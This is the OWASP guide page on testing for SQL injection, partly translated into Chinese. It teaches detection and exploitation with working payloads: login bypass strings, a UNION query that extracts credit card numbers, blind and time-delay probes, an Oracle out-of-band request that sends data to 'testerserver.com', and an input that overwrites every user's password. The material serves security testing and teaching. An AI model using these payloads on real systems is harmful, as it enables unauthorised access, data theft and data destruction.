Testing for SQL Injection

https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)


Brief Summary

SQL injection attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

SQL注入攻击指由数据输入插入的部分或者整个SQL查询语句,插入的语句也可能是由客户端传送至网络应用程序的。成功的SQL注入攻击可以从数据库读取敏感数据、修改数据库数据(插入/更新/删除)、在数据库上执行管理员操作(如关闭数据库管理系统等)、恢复数据库管理文件系统上指定的文件或者写入新文件、甚至向操作系统发送命令。SQL注入攻击是一种典型的注入攻击,SQL命令被插入数据平面输入中,以达到影响已定义的SQL命令的作用。

Description of the Issue

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

通常网络应用程序构造SQL语句的方法是将程序员定义的SQL语法和用户的输入结合在一起。如下所示:

select title, text from news where id=$id

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

在上面这个例子中变量$id包含用户的输入数据,但是剩余的部分是程序猿定义的静态SQL语句部分;整个结合在一起组成动态SQL语句。

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.

因为这种构造方式,用户可以构造输入使原SQL语句的执行操作范围超出用户选择的操作范围。下面的例子列举了用户输入“10 or 1=1”的情况,改变了原SQL语句的逻辑:通过添加“or 1=1”修改了WHERE条件语句。

select title, text from news where id=10 or 1=1

SQL Injection attacks can be divided into the following three classes:

SQL注入攻击可以分为以下三类:

  • Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
  • Inband:数据与插入的代码从同一渠道获取。这是最直接的一种攻击,返回的数据直接显示在网页中。
  • Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
  • Out-of-band:数据从不同的渠道返回(如通过e-mail将查询结果发送给测试者)。
  • Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.
  • 推理或者盲注:这种情况没有实际的数据传送,但是测试者可以通过发送特定的请求并观察数据库服务器的响应情况重构信息。

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

成功SQL注入攻击要求攻击者根据语法构造正确的SQL查询语句。如果应用程序返回了不正确语法的查询语句的错误信息,那么攻击者较容易重构原查询语句的逻辑信息,进而,知道如何进行准确的注入。但是,如果应用程序隐藏了详细的错误信息,那么测试者就必须逆向源查询逻辑。

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

有5种常用的挖掘SQL注入漏洞的方法,有时他们需要混用(如union 和 out-of-band混用):

  • Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
  • Union操作符:可以用于SELECT语句出现SQL注入漏洞时,使两次查询结果合并为一条结果或者一个结果集。
  • Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
  • 布尔:使用布尔条件来验证特定的条件是true 还是false
  • Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
  • 基于错误信息:该技术使数据库产生错误信息,为攻击者或者测试者改善注入内容提供信息。
  • Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
  • out-of-band:该技术使用不同的渠道返回数据(如使用HTTP链接发送结果到指定网络服务器)。
  • Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.
  • 延时:使用数据库的命令(如 sleep)延迟查询语句的应答。对应用程序没有任何响应(如结果、输出或者错误信息)时较为有用

SQL Injection Detection

The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

首先,在测试中要理解应用程序何时需要跟数据库服务器进行数据交互。应用程序与数据库服务器需要交互数据的典型的例子有:

  • Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
  • 认证形式:当使用网页形式进行认证时,用户信息同数据库存储的用户名和密码(或者密码的哈希值)进行验证。
  • Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
  • 查询:用户提交用于SQL查询的字符串,数据库返回所有与其相关的记录。
  • E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.
  • 电子商务网站:商品和其属性(如价格、描述、存货数量等)都可能存储在数据库中。

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

测试者可以将可以进行SQL查询的输入域罗列出来,包括POST请求隐藏的区域并进行单独测试,试着同这些查询进行交互比获取错误信息。另外也要考虑下HTTP头和cookie信息。

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

第一次测试通常在区域或者参数中包含单引号或者分号。单引号在SQL查询语句中作为字符串结束符,如果应用程序没有过滤该字符,那么会导致错误的查询。分号在SQL语句结尾,同样如果应用程序不过滤,可能会产生错误。具有漏洞的应用程序的输出可能向下面一样:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the 
character string ''.
/target/target.asp, line 113

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

注释符(--或者/* */)和其他SQL关键词(如AND 和OR)也可以用来修改查询语句。比较简单有效的方法是在应用程序期望输入数字的地方插入一个字符串,可能会向下面一样产生一个错误信息:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

监视从网页服务器的响应和分析HTML/Javascript源代码。有时响应中包含一些错误信息,但是由于一些原因(如Javascript错误、HTML注释等)没有呈现给用户。完整的错误信息,可以为测试者提供充足的注入攻击需要的信息。但是应用程序很少提供这么详细的信息,仅显示"500 server error "或者自定义的错误信息,这使攻击者不得不进行盲注攻击。在任何情况下,对每个区域进行单独测试时非常重要的:为了更准确的确定漏洞的位置理应每次只有一个变量而其他的都保持原有内容,这样才能确定那个参数具有脆弱性。

Standard SQL Injection Testing

Example 1 (classical SQL Injection):

Consider the following SQL query:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

上面是用于网络应用程序用户身份验证的一个简单的查询。如果查询返回值那么说明数据库中存在这样一个可信的用户,就会允许用户登录系统;否则就会拒绝用户的访问。输入域的值一般为用户输入至网页表单中的数据。假设我们输入一下用户名和密码:

$username = 1' or '1' = '1
$password = 1' or '1' = '1

The query will be:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' 

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

假设参数的值通过GET方法发送至服务器,且有漏洞的网站的域名是www.example.com,那么请求就会变为:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.

稍作分析,我们发现这个查询会返回一个值或者一个值集,因为条件判断总为真(OR 1=1)。在这种情况下,系统就会允许没有用户名和密码的用户登录系统。
In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases. Another example of query is the following:

在一些系统中第一行可能为管理员用户。一些情况下,这可能是一种特征。另外一个程序例子:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) 

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

在这个例子中,存在两个问题:一个是圆括号的使用,一个是MD5哈希函数。首先,我们解决圆括号问题。我们只需添加多个右圆括号直到返回正确结果。解决第二个问题,我们避开第二判断条件。我们可以为查询添加一个结束符使程序误以为注释开始。这样的话,接在结束符之后的任何字符都被认为是注释语句。但是,每个数据库管理系统都拥有自己的注释方法,大多数数据库使用的注释符为/*。在Oracle里为"--"。那么,这次用户名和密码我们输入下面的内容:

$username = 1' or '1' = '1'))/*
$password = foo

In this way, we'll get the following query:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) 

(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo 

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

上面的例子可能返回多个结果值,有时,认证代码验证返回的结果/记录个数必须为1。在上面的例子中,这种情况比较困难(在数据库中每个用户只有一条记录)。为了处理这个问题,可以插入一条SQL指令迫使数据库返回一条记录。为了实现这个目标,我们使用“LIMIT <num>” 其中<num>为期望的返回结果条数。在前面的例子中,用户名和密码的输入可以使下面的数据:

$username = 1' or '1' = '1')) LIMIT 1/* 
$password = foo 

In this way, we create a request like the follow:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo 


Example 2 (simple SELECT statement):


Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


Consider also the request to a script who executes the query above:


http://www.example.com/product.php?id=10


When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

当测试者使用一个有效的值(如10)时,应用程序可以返回产品的描述。测试该应用程序脆弱性的好的方法是添加逻辑操作符 AND 或者OR
Consider the request:


http://www.example.com/product.php?id=10 AND 1=2


SELECT * FROM products WHERE id_product=10 AND 1=2


In this case, probably the application would return some message telling us there is no content available or a blank page. Then the tester can send a true statement and check if there is a valid result:

如果应用程序返回消息提示没有可显示的信息或者页面。那么测试者就可以发送一个对的语句验证是否有有效结果:

http://www.example.com/product.php?id=10 AND 1=1


Example 3 (Stacked queries):


Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

根据网络应用程序使用的API和数据库管理系统(如PHP+PostgreSQL、ASP+SQL SERVER),在一次调用中可能能够执行多次查询。
Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


A way to exploit the above scenario would be:


http://www.example.com/product.php?id=10; INSERT INTO users (…)


This way is possible to execute many queries in a row and independent of the first query.


Fingerprinting the Database

Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

虽然SQL语句是标准的,但是每个数据库管理系统有自己的特点,并在某些方面(如特定的指令、返回用户名或者数据库数据 的函数、特色和注释行)各自不同。


When the testers move to a more advanced SQL injection exploitation they need to know the backend.

当测试者使用高级的SQL注入技术时需要知道后台信息。


1) The first way to find out which is the backend is by observing the error returned by the application. Follow are some examples:

第一种方法就是分析应用程序返回的错误信息获取后台信息。


MySql:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1


Oracle:

ORA-00933: SQL command not properly ended


MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string


PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.


2) If there is no error message or a custom error message, the tester can try to inject into string field using concatenation technique:

如果没有返回错误信息或者用户自定义信息,那么测试者可以使用一系列技术注入字符串域:
MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

Exploitation Techniques

Union Exploitation Technique

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

SQL注入攻击者常伪造UNION操作插入原始的查询,从而链接查询语句。伪造的查询可以将结果连接到原始的查询中,使测试者获取其他表格的列值。假设服务器端执行的查询如下:


SELECT Name, Phone, Address FROM Users WHERE Id=$id


We will set the following $id value:


$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable


We will have the following query:


SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable


Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword ALL is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.

为了避免语法错误,两个查询必须有相同的列数。


The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.


In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:


http://www.example.com/product.php?id=10 ORDER BY 10--


If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:


Unknown column '10' in 'order clause'


After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:


http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--


If the query fails, the tester will probably see a message like:

All cells in a column must have the same datatype

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):


http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--


Boolean Exploitation Technique

The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). 

在SQL盲注中布尔挖掘技术较有效。例如,不返回操作的输出的行为多发生在程序猿自定义了一个错误页面,而不是返回数据库上的任何查询结构。(该自定义的页面不返回任何错误,仅是返回HTTP 500,404 或者重定向)。

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

通过使用推理的方法,可能避过阻碍,获取某些字段的值。这个方法包含针对服务器的一系列布尔查询,观察这些响应进而分析这些响应的意义。以www.example.com域为例,我们假设存在包含id参数的SQL注入漏洞。即执行下面的请求:


http://www.example.com/index.php?id=1'

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:


SELECT field1, field2, field3 FROM Users WHERE Id='$Id' 

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

我们期望获得的域为username。通过执行测试我们可以获得username的值,进而逐个字符获取值。这也可以通过使用标准函数实现,我们可使用下面的伪函数:


SUBSTRING (text, start, length): returns a substring starting from the position "start" of text and of length "length". If "start" is greater than the length of text, the function returns a null value.

SUBSTRING(text,start,length):返回从start开始长度为length的子串。如果start值大于text的长度,那么会返回空值


ASCII (char): it gives back ASCII value of the input character. A null value is returned if char is 0.

ASCII(char):它返回一个输入字符的ASCII值。如果字符为0 空值会返回。


LENGTH (text): it gives back the number of characters in the input text.

LENGTH(text):给出输入字符串的长度


Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for Id:

通过这些函数,我们可以对第一个字符进行测试,当获得这个值,我们可以逐个字符进行,进而获取整个值。该测试为了每次获取一个字符使用SUBSTRING函数的优势,使用ASCII获取ASCII码值,这么可以做字符比较。该比较将会对所有的ASCII码表进行,直到返回所有的值。例如,我们使用下面的ID:


$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 

That creates the following query (from now on, we will call it "inferential query"):

推理查询


SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for Id:

前一个例子只有第一个字符的ASCII值为97时才会返回结果。如果返回错误,那么我们将ASCII值增大为98,直到我们获取到了正确的值。我们获取了一个字符后,修改SUBSTRING函数和ASCII的起始值继续下一个字符。问题是我们如何判断区分页面返回的值是真还是假。这一点我们可以通过创建一个总返回假的查询,可能采用下面的id:


$Id=1' AND '1' = '2 

Which will create the following query:


SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' 

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.

对这次测试,从服务器的返回的响应是假。进而可以区分推理查询返回的结果。有时,这种方法不起作用。如果服务器对同一个连续的网页请求返回两个不同的页面,那么我们将不能区分页面返回的值是真还是假。这时就需要特殊的过滤法获取这两次查询的变化进而获取一个模板。后续,对每个推理请求执行,我们使用相同的函数从响应中提取相对的模板,为了区分测试结果,我们对两个模板进行控制。


In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

在前面的讨论中,我们没有处理最后的条件句,即我们何时该结束推理过程。一种技术是使用SUBSTRING和LENGTH类似的函数。当测试当前字符跟ASCII码为0的字符并返回真,亦或我们扫描完了所有的字符串即进行完了推理过程,或者我们分析的值包含空字符。


We will insert the following value for the field Id:


$Id=1' AND LENGTH(username)=N AND '1' = '1 

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:


SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' 

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

这个查询返回真或者假。如果获得真,我们可以完成推理,进而,知道了参数值。如果获得了假,这意味着在参数值中存在空字符,且需要继续分析下一个参数直到发现另一个空值。


The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

SQL盲注攻击需要大量的查询。测试者需要自动的注入工具挖掘漏洞。

Error based Exploitation technique

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

基于错误的挖掘技术在不能使用其他的技术(如UNION)挖掘SQL注入漏洞的时候较为有用。该技术使数据库执行一些返回错误的操作。该技术试图从数据库提取一些数据并显示一些错误信息。该技术因不同的数据库而不同。
Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


Consider also the request to a script who executes the query above:


http://www.example.com/product.php?id=10


The malicious request would be (e.g. Oracle 10g):


http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--


In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the hostname of the parameter passed to it, which is other query, the name of the user. When the database looks for a hostname with the user database name, it will fail and return an error message like:

在这个例子中,测试者使用值10 和函数UTL_INADDR.GET_HOST_NAME。该Oracle函数将返回传送参数至Oracle的主机名,此处传送的参数是一个SQL查询:从DUAL获取用户名。当数据库使用用户数据库名查询主机名,它将会返回错误信息:

ORA-292257: host SCOTT unknown


Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

测试者可以操作传送给GET_HOST_NAME函数的参数,结果将显示在错误信息中。

Out of band Exploitation technique

带外数据挖掘技术

This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server.

这种技术对SQL盲注较有效。这种技术包含使用DBMS的函数执行带外数据连接、在请求测试者服务器的请求包中传送注入查询结果


Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

跟基于错误的技术类似,每个DBMS有自己的函数。


Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


Consider also the request to a script who executes the query above:


http://www.example.com/product.php?id=10


The malicious request would be:


http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--


In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:


/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close


Time delay Exploitation technique

The Boolean exploitation technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section)

布尔型挖掘技术在SQL盲注测试中较有效,SQL盲注没有操作的任何信息输出。时间延迟技术包含发送一个注入查询和为真的条件语句,测试者可以监视服务器响应的时间。如果存在延迟,查询者可以认为查询的条件为真。这种挖掘方法因数据库管理系统的不同而不同。
Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


Consider also the request to a script who executes the query above:


http://www.example.com/product.php?id=10


The malicious request would be (e.g. MySql 5.x):

恶意请求可能是(以Mysql 5.x为例)

http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--


In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

在这个例子中,测试者测试MySql的版本是否为5.x,使服务器延迟10s响应。测试者可以加长延迟时间来测试响应。测试者当然不需要等待响应,有时只需设置一个很大值(如100),经过几秒后取消请求即可。

Stored Procedure Injection

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

当使用存储化过程方法动态构建SQL语句时,程序必须对用户的输入进行验证以消除代码注入的危险。如果不进行过滤,用户可以输入恶意的SQL语句在存储化过程中执行。


Consider the following SQL Server Stored Procedure:

考虑下面的SQL 服务器存储化过程:

Create procedure user_login @username varchar(20), @passwd varchar(20) As Declare @sqlstring varchar(250) Set @sqlstring = ‘ Select 1 from users Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd exec(@sqlstring) Go

User input: anyusername or 1=1' anypassword

用户输入:任何用户名 or 1=1' 任何密码
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters.
这个程序不能过滤用户输入,所以可以返回存在的符合这个参数的记录。

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. 

注意:这个例子不太像动态构造SQL语句验证用户登录,但是考虑由用户指定查询列的动态查询语句。用户可以插入恶意代码以获取数据。
Consider the following SQL Server Stored Procedure:


Create procedure get_report @columnamelist varchar(7900) As Declare @sqlstring varchar(8000) Set @sqlstring = ‘ Select ‘ + @columnamelist + ‘ from ReportTable‘ exec(@sqlstring) Go

User input:

用户如果输入:
1 from users; update users set password = 'password'; select *


This will result in the report running and all users’ passwords being updated.

执行后所有用户的密码会被更新为password

Automated Exploitation

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap


Related Articles


Technology specific Testing Guide pages have been created for the following DBMSs:

References

Whitepapers

Tools


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值